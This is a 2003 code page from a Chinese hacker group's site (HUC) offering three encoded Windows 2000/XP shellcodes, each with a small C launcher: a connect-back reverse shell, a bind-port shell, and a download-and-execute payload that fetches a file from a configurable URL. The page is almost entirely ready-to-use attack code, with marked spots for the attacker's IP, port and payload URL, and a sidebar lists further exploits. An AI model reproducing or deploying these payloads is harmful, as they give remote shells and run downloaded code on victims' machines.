快速通道

文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

bind port,connect back, download file Shellcod for win2k/xp

提交作品： lion
提交日期： 2003-09-07
作品属性： 普通
文档类别： 代码作品
浏览次数： 今1次/总4576次

//======================== Connect Back ShellCode ==========================

```
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

// change this
#define PORT        53
#define IP          "127.0.0.1"

// don't change the offset
#define PORT_OFFSET  232
#define IP_OFFSET    237

unsigned char cbshellcode[] =
// decode
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x5F\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// shellcode
"\x70\x60\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12
\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6
\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78
\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\xED\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9A\xC0\x71\xF8\x99\x99\x99\x1A\x75\xDD\x12\x6D\xF3\x89\xC0"
"\x10\x9D\x17\x7B\x62\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66
\xCE\x6D"
"\x12\x41\x10\xC7\xA1\x10\xC7\xA5\x10\xC7\xD9\xFF\x5E\xDF\xB5\x98"
"\x98\x14\xDE\x89\xC9\xCF\xAA\x59\xC9\xC9\xC9\xF3\x98\xC9\xC9
\x14"
"\xCE\xA5\x5E\x9B\xFA\xF4\xFD\x99\xCB\xC9\x66\xCE\x71\x5E\x9E\x9B"
```

```
"\x99\x99\xAC\x5E\xDE\x9D\xE6\x99\x99\x98\xF3\x89\xCE\xCA\x66\xCE"
"\x61\xCA\x66\xCE\x65\xC9\x66\xCE\x75\xAA\x59\x35\x1C\x59\xEC\x60"
"\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x9B"
"\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA"
"\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8"
"\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD"
"\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99"
"\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFA\xF6\xF7\xF7\xFC"
"\xFA\xED\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

void main()
{
  WSADATA wsa;
  unsigned short    port;
  unsigned long     ip;

  WSAStartup(MAKEWORD(2,2),&wsa);

  port = htons(PORT)^(USHORT)0x9999;
  ip = inet_addr(IP)^(ULONG)0x99999999;

  memcpy(&cbshellcode[PORT_OFFSET], &port, 2);
  memcpy(&cbshellcode[IP_OFFSET], &ip, 4);

  __asm
  {
     lea    eax, cbshellcode
     jmp    eax
  }
}
```

//====================== Bind Port ShellCode ========================

```
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

// change this
#define    PORT          53

// don't change the offset
#define    PORT_OFFSET     176

unsigned char bdshellcode[] =
// decode
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// shellcode
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x99\xAC\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
```

```
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

void main(int argc, char **argv)
{
  WSADATA wsa;
  unsigned short port;

  WSAStartup(MAKEWORD(2,2), &wsa);
  port = htons(PORT)^(USHORT)0x9999;
  memcpy(&bdshellcode[PORT_OFFSET], &port, 2);

  ((void (*)(void)) &bdshellcode)();
}
```

//====================== Download File ShellCode
======================

```
#include <windows.h>
#include <stdio.h>

unsigned char dushellcode[] =
// decode
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// shellcode
"\x70\x4C\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9D\xC0"
"\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F\x8A\xCF\xDF\x19\xA7\x19"
"\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCE"
"\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"
"\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65\x12\x45\xC9\xCA\x66\xCE"
"\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA"
"\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xBF\x66\x66\x66\xDE"
"\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDE\xFC"
"\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB\xFC\xFA\xED\xF6\xEB\xE0"
"\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xCD\xF1"
"\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0"
"\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99\xCC\xCB\xD5\xDD\xF6\xEE\xF7"
"\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5\xFC\xD8\x99"
// download file url
// change this
"http://127.0.0.01/test.exe"
"\x80";

void main()
{
  ((void (*)(void)) &dushellcode)();
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net